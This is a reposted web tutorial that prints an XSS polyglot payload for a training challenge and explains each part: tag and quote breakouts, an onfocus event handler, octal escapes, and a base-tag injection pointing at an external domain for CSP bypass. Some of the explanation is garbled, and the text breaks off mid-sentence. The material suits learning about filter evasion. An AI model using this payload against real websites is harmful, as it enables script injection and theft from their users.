Polyglot은 Training XSS Muscles Challenge의 대부분을 해결합니다.
Sep 14, 2024 am 10:32 AMJavaScript://%250Aalert?.(1)// '/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--> </Title/</Style/</Script/</textArea/</iFrame/</noScript> \74k<K/contentEditable/autoFocus/OnFocus= /*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->
Core Idea:
This payload is designed to bypass several XSS filters and security mechanisms by working in various HTML contexts. It uses a combination of HTML and JavaScript tricks to inject a malicious payload, such as the alert() function, in a variety of ways.
Top-Level Concepts:
Polyglot Basics:
A polyglot is a payload that can execute in multiple contexts, typically both in HTML, attributes, or JavaScript contexts, making it more versatile for exploiting XSS vulnerabilities.
The goal of this payload is to inject JavaScript and execute alert(1) across multiple contexts while bypassing filters.
Polyglot Sections:
JavaScript Execution with Optional Chaining:
JavaScript://%250Aalert?.(1)//
The JavaScript protocol triggers the payload in browsers that interpret JavaScript from URL protocols.
%250A is the URL-encoded form of a newline character (\n), used to bypass URL validation or escape filters.
alert?.(1) is an optional chaining syntax in JavaScript. It executes alert(1) if alert exists, bypassing strict checks on direct calls to alert().
// terminates the rest of the payload as a comment to avoid errors.
HTML Tag Breakouts:
</Title/</Style/</Script/</textArea/</iFrame/</noScript>
This section attempts to break out of various HTML tags like <title>, <style>, <script>, <textarea>, and others.
It ends the tags early (</...>) so that JavaScript can be executed right after the tag, bypassing filtering or restrictions based on tag contexts.
It’s compact since it doesn’t close each tag properly; just one closing symbol (>) suffices for all.
Quote Breakouts:
/*'/*\'/*"/*\"/*\/%26apos;)/<!-->`
This section handles breaking out of quote contexts (", ', `). It uses JavaScript comments(/.../) to inject and terminate multiline comment blocks that might be initiated by filters.
/.../ is useful for multiline comments and ignoring filter checks.
%26apos;) is an HTML entity escape code for ', used to break out of attributes or string contexts that use HTML entities for sanitization.
Event Handler and Execution:
`
\74k<K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1)}//>
`
\74k<K is a trick to insert an arbitrary tag where \74 is the octal representation of <. This works to bypass filters that sanitize < by converting it into an octal entity.
K is an arbitrary tag (can be any character) with the attributes contentEditable, autoFocus, and OnFocus.
The OnFocus=/**/{(alert)(1)} ensures that when the element gains focus, it executes the alert(1) function.
Advanced Evasion Techniques:
`
<Base/Href=//X55.is\76-->
`
<Base> is used for CSP bypass. If the base URL is set to a malicious domain like //X55.is, relative URL references to scripts or assets can trigger cross-origin requests, executing external malicious scripts.
/76 is the octal code for >, and it's used to properly close the tag while bypassing filters that escape < and >. This is part of the trick where octal escapes are converted back into characters.
HTML Comment Insertion:
<!--> is a simple HTML comment injection that ends any HTML comment block started by a filter, allowing the payload to escape the context.
Polyglot Logic:
Bypassing HTML Filters: The polyglot uses tag closings, quote breakouts, and event handlers to escape multiple HTML tags and execute JavaScript in different contexts.
Bypassing JavaScript Filters: Through commenting techniques (/.../, //) and quote escapes, it handles multiline scripts and prevents syntax errors.
Filter Evasion: By using HTML entities, optional chaining, and octal escapes, it bypasses common sanitization filters and CSP rules.
Mind Map Summary:
Polyglot Core:
JavaScript Execution (alert?.(1))
HTML Context Breakouts ()
JavaScript String Injection:
Escape Quotes (/'/\'/"/)
Inline Comments and Multiline Escapes (//, /.../)
HTML Tag Evasion:
Tag Close Breakouts ()
Arbitrary Tag Injection with Event Handler ()
Advanced Tricks:
Octal Encoding for < and > (\74 and \76)
CSP Bypass using and external URL (Base/Href=//X55.is)
Final Injection:
Mixed context polyglot triggering across multiple browsers and scenarios.
This polyglot is highly effective in breaking out of multiple contexts, evading JavaScript string handling and HTML tag closures, and executing in both
위 내용은 Polyglot은 Training XSS Muscles Challenge의 대부분을 해결합니다.의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

인기 기사

인기 기사

뜨거운 기사 태그

메모장++7.3.1
사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전
중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기
강력한 PHP 통합 개발 환경

드림위버 CS6
시각적 웹 개발 도구

SublimeText3 Mac 버전
신 수준의 코드 편집 소프트웨어(SublimeText3)

뜨거운 주제









